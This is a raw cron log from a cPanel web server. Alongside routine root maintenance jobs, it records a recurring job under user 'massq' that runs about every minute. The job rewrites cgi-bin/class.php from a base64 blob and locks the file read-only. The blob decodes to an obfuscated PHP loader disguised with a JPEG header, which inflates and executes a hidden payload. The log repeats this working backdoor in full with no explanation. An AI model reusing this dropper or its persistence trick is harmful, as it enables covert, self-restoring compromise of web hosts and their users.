Aug 31 04:02:01 server CROND[15429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:03:01 server CROND[15810]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:03:01 server CROND[15811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:03:01 server CROND[15812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:04:01 server CROND[16286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:04:01 server CROND[16287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:04:01 server CROND[16289]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:05:01 server CROND[16671]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 04:05:01 server CROND[16673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:05:01 server CROND[16674]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 04:05:01 server CROND[16678]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 04:05:01 server CROND[16679]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 04:05:01 server CROND[16676]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:05:01 server CROND[16677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:05:01 server CROND[16681]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 04:06:01 server CROND[17557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:06:01 server CROND[17558]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:06:01 server CROND[17559]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:07:01 server CROND[17924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:07:01 server CROND[17923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:07:01 server CROND[17926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:08:01 server CROND[18298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:08:01 server CROND[18299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:08:01 server CROND[18300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:09:01 server CROND[18740]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:09:01 server CROND[18741]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 04:09:01 server CROND[18742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:09:01 server CROND[18743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:10:02 server CROND[19167]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 04:10:02 server CROND[19169]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 04:10:02 server CROND[19174]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 04:10:02 server CROND[19175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:10:02 server CROND[19176]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 04:10:02 server CROND[19178]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 04:10:02 server CROND[19173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:10:02 server CROND[19180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:11:01 server CROND[20023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:11:01 server CROND[20024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:11:01 server CROND[20025]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:12:01 server CROND[20418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:12:01 server CROND[20419]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:12:01 server CROND[20420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:12:01 server CROND[20422]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 04:13:01 server CROND[20812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:13:01 server CROND[20813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:13:01 server CROND[20814]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:14:01 server CROND[21187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:14:01 server CROND[21189]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
